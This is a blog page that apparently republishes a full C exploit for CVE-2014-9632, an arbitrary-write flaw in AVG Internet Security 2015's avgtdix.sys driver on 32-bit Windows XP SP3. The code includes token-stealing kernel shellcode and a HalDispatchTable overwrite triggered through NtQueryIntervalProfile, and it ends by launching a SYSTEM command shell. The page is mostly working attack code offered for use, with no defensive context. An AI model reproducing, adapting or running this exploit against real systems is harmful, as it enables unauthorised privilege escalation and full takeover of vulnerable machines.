Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86391142

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*

Exploit Title    - AVG Internet Security 2015 Arbitrary Write Privilege Escalation
Date             - 04th February 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://www.avg.com/
Tested Version   - 2015.0.5315 
Driver Version   - 15.0.0.5204 - avgtdix.sys
Tested on OS     - 32bit Windows XP SP3 
OSVDB            - http://www.osvdb.org/show/osvdb/113824
CVE ID           - CVE-2014-9632
Vendor fix url   - http://www.avg.com/eu-en/avg-release-notes
Fixed Version    - 2015.0.5557
Fixed driver ver - 15.0.0.5553



Note
----
Overwritten HAL dispatch table after exploit

kd> dps nt!HalDispatchTable l c
8054ccb8  00000003
8054ccbc  00340000
8054ccc0  8678d9a0
8054ccc4  0a050002
8054ccc8  6e66744e
8054cccc  001c0707
8054ccd0  00000180
8054ccd4  000001a4
8054ccd8  867d6690
8054ccdc  86706480
8054cce0  00000000
8054cce4  804e42d1 nt!ObpTraceDepth+0x19

10 pointers get overwritten. Since input buffer is in our control and pointers
are static in XP I've triggered the overwrite again restoring the pointers.

*/


#include <stdio.h>
#include <windows.h>

#define BUFSIZE 4096


typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     PVOID   Unknown1;
     PVOID   Unknown2;
     PVOID   Base;
     ULONG   Size;
     ULONG   Flags;
     USHORT  Index;
     USHORT  NameLength;
     USHORT  LoadCount;
     USHORT  PathLength;
     CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG   Count;
     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS { 
     SystemModuleInformation = 11,
     SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     SYSTEM_INFORMATION_CLASS SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);

typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
     DWORD ProfileSource, 
     PULONG Interval);

typedef void (*FUNCTPTR)(); 



// Windows XP SP3

#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct


BYTE token_steal_xp[] =
{
  0x52,                                                  // push edx                       Save edx on the stack
  0x53,	                                                 // push ebx                       Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                 // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                     // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                   // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                   // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,  // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                     ---- 
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                                  // pop ebx                        Restores ebx
  0x5a,                                                  // pop edx                        Restores edx
  0xc2,0x08                                              // ret 8                          Away from the kernel    
};



BYTE restore_pointers_xp[] =  // kd> dps nt!HalDispatchTable
"\xf2\xa3\x6f\x80"            // 8054ccbc  806fa3f2 hal!HaliQuerySystemInformation
"\xce\xa3\x6f\x80"            // 8054ccc0  806fa3ce hal!HaliSetSystemInformation
"\x0b\x46\x61\x80"            // 8054ccc4  8061460b nt!xHalQueryBusSlots
"\x00\x00\x00\x00"            // 8054ccc8  00000000
"\x4d\xac\x50\x80"            // 8054cccc  8050ac4d nt!HalExamineMBR
"\x89\x6f\x5c\x80"            // 8054ccd0  805c6f89 nt!IoAssignDriveLetters
"\xe5\x4a\x5c\x80"            // 8054ccd4  805c4ae5 nt!IoReadPartitionTable
"\x7b\x3f\x61\x80"            // 8054ccd8  80613f7b nt!IoSetPartitionInformation
"\xef\x41\x61\x80"            // 8054ccdc  806141ef nt!IoWritePartitionTable
"\x57\xd1\x52\x80";           // 8054cce0  8052d157 nt!CcHasInactiveViews



DWORD HalDispatchTableAddress() 
{
    _NtQuerySystemInformation    NtQuerySystemInformation;
    PSYSTEM_MODULE_INFORMATION   pModuleInfo;
    DWORD                        HalDispatchTable;
    CHAR                         kFullName[256];
    PVOID                        kBase = NULL;
    LPSTR                        kName;
    HMODULE                      Kernel;
    FUNCTPTR                     Hal;
    ULONG                        len;
    NTSTATUS                     status;


    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
 	
    if (!NtQuerySystemInformation)
    {
        printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
        return -1;  
    }

    status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);

    if (!status) 
    {
        printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
        return -1;
    }
		
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);

    if(pModuleInfo == NULL)
    {
        printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
        return -1;
    }

    status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
	
    memset(kFullName, 0x00, sizeof(kFullName));
    strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
    kBase = pModuleInfo->Module[0].Base;

    printf("[i] Kernel base name %s\n", kFullName);
    kName = strrchr(kFullName, '\\');

    Kernel = LoadLibraryA(++kName);

    if(Kernel == NULL) 
    {
        printf("[-] Failed to load kernel base\n\n");
        return -1;
    }

    Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");

    if(Hal == NULL)
    {
        printf("[-] Failed to find HalDispatchTable\n\n");
        return -1;
    }
    
    printf("[i] HalDispatchTable address 0x%08x\n", Hal);	
    printf("[i] Kernel handle 0x%08x\n", Kernel);
    printf("[i] Kernel base address 0x%08x\n", kBase);          

    HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);

    printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);

    if(!HalDispatchTable)
    {
        printf("[-] Failed to calculate HalDispatchTable\n\n");
        return -1;
    }

    return HalDispatchTable;
}


int GetWindowsVersion()
{
    int v = 0;
    DWORD version = 0, minVersion = 0, majVersion = 0;

    version = GetVersion();

    minVersion = (DWORD)(HIBYTE(LOWORD(version)));
    majVersion = (DWORD)(LOBYTE(LOWORD(version)));

    if (minVersion == 1 && majVersion == 5) v = 1;  // "Windows XP;
    if (minVersion == 1 && majVersion == 6) v = 2;  // "Windows 7";
    if (minVersion == 2 && majVersion == 5) v = 3;  // "Windows Server 2003;

    return v;
}


void spawnShell()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;


    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);

    si.cb          = sizeof(si); 
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;

    if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
        printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
        return;
    }

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}



int main(int argc, char *argv[]) 
{

    _NtQueryIntervalProfile     NtQueryIntervalProfile;
    LPVOID                      input[1] = {0};    
    LPVOID                      addrtoshell;
    HANDLE                      hDevice;
    DWORD                       dwRetBytes = 0;
    DWORD                       HalDispatchTableTarget;
    ULONG                       time = 0;
    unsigned char               devhandle[MAX_PATH]; 


    printf("-------------------------------------------------------------------------------\n");
    printf("     AVG Internet Security 2015 (avgtdix.sys) Arbitrary Write EoP Exploit      \n");
    printf("                         Tested on Windows XP SP3 (32bit)                      \n");
    printf("-------------------------------------------------------------------------------\n\n");

    if (GetWindowsVersion() == 1) 
    {
        printf("[i] Running Windows XP\n");
    }

    if (GetWindowsVersion() == 0) 
    {
        printf("[i] Exploit not supported on this OS\n\n");
        return -1;
    }  

    sprintf(devhandle, "\\\\.\\%s", "avgtdi");

    NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
 	
    if (!NtQueryIntervalProfile)
    {
        printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
        return -1;  
    }
   
    addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if(addrtoshell == NULL)
    {
        printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
        return -1;
    }
    printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);

    memset(addrtoshell, 0x90, BUFSIZE);
    memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
    printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));

    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
        return -1;
    }
    else 
    {
        printf("[+] Open %s device successful\n", devhandle);
    }

    HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
    printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);

    input[0] = addrtoshell;  // input buffer contents gets written to our output buffer address
                    
    printf("[+] Input buffer contents %08x\n", input[0]);
 	
    printf("[~] Press any key to send Exploit  . . .\n");
    getch();

    DeviceIoControl(hDevice, 0x830020f8, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

    printf("[+] Buffer sent\n");

    printf("[+] Spawning SYSTEM Shell\n");
    NtQueryIntervalProfile(2, &time);
    spawnShell();

    printf("[+] Restoring Hal dispatch table pointers\n\n");

    DeviceIoControl(hDevice, 0x830020f8, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

    CloseHandle(hDevice);

    return 0;
}